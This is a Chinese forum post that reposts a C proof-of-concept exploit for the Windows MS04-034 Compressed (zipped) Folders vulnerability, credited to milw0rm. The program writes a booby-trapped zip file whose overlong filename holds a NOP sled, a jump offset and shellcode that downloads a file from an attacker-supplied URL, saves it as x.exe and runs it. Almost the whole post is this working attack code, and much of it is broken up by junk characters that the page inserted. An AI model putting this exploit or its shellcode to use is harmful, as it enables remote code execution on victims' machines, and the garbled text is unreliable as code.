查看: 2570|回复: 0

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

字体大小: 正常放大

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

电梯直达

1^#

发表于 2004-11-21 10:51 |只看该作者 |倒序浏览

|招呼Ta 关注Ta

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ #include <stdio.h> #include <windows.h> #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) }MIDDLEHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; /* * download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; DWORD c; UINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90;0 P% g) V# w6 h1 d! \5 i$ w 9 R# ^, z5 D7 J% T1 ymemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); ' {# ~; X! v9 Rmemcpy(filename+0x1818,offset,strlen(offset)); 8 Y: _4 k' }) W6 G7 z* b5 d 7 V. b* h, N. R5 Zmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); ( ~2 ]- K/ C8 A( nmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); - `! _8 g/ g/ y3 a' u7 Gmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); ( s+ H: ~7 d3 C2 B( v! B9 }& ^& V- J) [ memcpy(filename+(c-4),".txt",4);! Y- q, b( G$ ]' J* N ) o8 |1 g$ K4 `/ k6 M5 [4 B' V Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));+ }# K. |) y* Y6 _0 _! t Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));, ^7 p& s! S1 ]& }& \6 \ Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); 6 @( D% G+ N( ?% Xmemset(Cabecera1,0,sizeof(TOPHEADER)); 9 \ @1 F4 e# K5 a% h/ B( e. n Kmemset(Cabecera2,0,sizeof(MIDDLEHEADER));5 L8 Y' e& }1 A1 D% `( }! [ memset(Cabecera3,0,sizeof(BOTTOMHEADER)); + n- S: ]) h2 R4 G# Z 4 d2 a2 L- L# ]# v# Z/////////////////////////////////////////////////////////////////// 6 O, h7 p0 Y, Q: e) C8 f) ^// TOPHEADER : E4 v% v( R2 R- |2 t8 C8 Z/////////////////////////////////////////////////////////////////// $ y: n3 e f' J- n$ L8 `Cabecera1->Signature=0x04034B50; // DWORD 1 k! [: ], b* LCabecera1->VersionNeeded=0x000A; // WORD 3 j+ @2 Z2 m3 G6 g/ u* A& CCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas ( Z' N9 b8 A' O+ |+ i8 m! d5 PCabecera1->CompressionMethod=0x0000; // WORD% Z+ R* w% ^( S# F2 Z+ W) R Cabecera1->ModFileTime=0x1362; // WORD4 S7 i1 q! l m5 a: Z. P Cabecera1->ModFileDate=0x3154; // WORD 4 |+ u) ?+ b6 D' h( w( h" }Cabecera1->Crc32=0x85B36639; // DWORD$ U, t6 d; W) o& m! D Cabecera1->CompressedSize=0x00000015; // DWORD ( I8 v; d* @* hCabecera1->UncompressedSize=0x00000015; // DWORD4 C4 h( I/ M! g g3 c$ x Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 0 Z* t/ a; G# L8 q" o1 b/ [9 cCabecera1->ExtraFieldLength=0x0000; // WORD ; {" a X4 y. l/ q* j; R0 o2 s" D///////////////////////////////////////////////////////////////////& W: b, _1 D4 S# ~6 R8 v 1 O& N! C( ` [4 S///////////////////////////////////////////////////////////////////! @- _ l! t( r0 L9 S // MIDDLEHEADER. l% h4 T' B; A1 P /////////////////////////////////////////////////////////////////// 8 C! k8 h8 D9 j1 N1 NCabecera2->Signature=0x02014B50; // DWORD ) r4 b$ c; U" d, ~, SCabecera2->MadeVersion=0x0014; // WORD5 k9 L6 `' K, ]% c: ~: v- v* }3 l Cabecera2->VersionNeeded=0x000A; // WORD$ X6 m! M! W2 ]6 e, h5 {8 y Cabecera2->GeneralPurposeFlag=0x0002; // WORD; p4 z* F. o0 L* B* S# y Cabecera2->CompressionMethod=0x0000; // WORD " @. u8 h+ X8 _/ {Cabecera2->ModFileTime=0x1362; // WORD0 H3 o, a' v; s3 V2 ~, n C# D5 d7 |! Q Cabecera2->ModFileDate=0x3154; // WORD ) h5 O! J; Q- m* h$ r( O x- G LCabecera2->Crc32=0x85B36639; // DWORD; J! R. W/ Y% |6 o9 B. w0 j Cabecera2->CompressedSize=0x00000015; // DWORD 7 A" T* e: [$ `4 `Cabecera2->UncompressedSize=0x00000015; // DWORD 7 E2 n4 K3 F7 @( WCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); I+ Z0 @7 i- L2 q7 N+ h Cabecera2->ExtraFieldLength=0x0000; // WORD , ]5 Y6 S+ y& q" R) B& J; n; wCabecera2->FileCommentLength=0x0000; // WORD & D$ R t' U( ]( o. }Cabecera2->DiskNumberStart=0x0000; // WORD9 K4 j$ O, N3 i Cabecera2->InternalFileAttributes=0x0001; // WORD ) o# L5 ]! ^3 ^6 \8 ~6 ^, s6 vCabecera2->ExternalFileAttributes=0x00000020; // DWORD5 ~" [! g1 L! ?4 z# Z; i Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD # A5 V! O& ]& m) u7 M& O3 `/////////////////////////////////////////////////////////////////// N: g: e8 i+ s8 H / L3 W- R( I2 m///////////////////////////////////////////////////////////////////; M7 E$ K1 H/ o# \/ ^! A$ Y2 n // BOTTOMHEADER! m4 Y. I2 i _# A( [6 O /////////////////////////////////////////////////////////////////// , b2 T/ w3 ?7 {Cabecera3->Signature=0x06054B50; // DWORD# n9 f! n: C8 c9 s1 M, A& {: v5 J Cabecera3->NumOfThisDisk=0x0000; // WORD% z; p" O' D0 B Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD ) w& R& W, ~8 g! u% ~Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD * j) t" M Q" t# p HCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD $ o& N$ k( P. s6 U- TCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD- i' U" Q0 Z7 M Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD ; }: j3 a9 T+ v) N0 H% a4 tCabecera3->ZipCommentLength=0x0000; // WORD 6 z/ H' O- r; \* g1 @+ o0 a$ r$ ^///////////////////////////////////////////////////////////////////, X: W2 i5 W. d9 m6 \ ; E6 o! w+ E( v) D# Q f fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);5 k1 |( ^: ?9 _ ~7 Q: g% | 5 E, h, E6 F4 n4 l/ B6 o$ p( ~. d2 Dfwrite(filename, c, 1,ZipFile); * o( j) ]8 }- `4 K& y2 [fwrite(DATOS,strlen(DATOS),1,ZipFile);% n4 `* J! S, y' D ' i# Y" Q) G W" t, K7 W fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 8 `& i, F, C/ e5 i+ l' h5 }* tfwrite(filename, c, 1,ZipFile); 6 h8 l( C( W, ?! K fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);' D. S) T/ r! \1 M" A & o7 y1 G! a* `: g2 @ fclose(ZipFile); 3 G. z- }% G! ~+ E) }0 Bprintf("\n * prueba.zip created\n"); ; W& C9 U8 a. q8 H9 A' n& w# M( Areturn 1;1 k1 E7 J% W4 { }//downloaded from milw0rm.com ( ?: j& l; h; E- E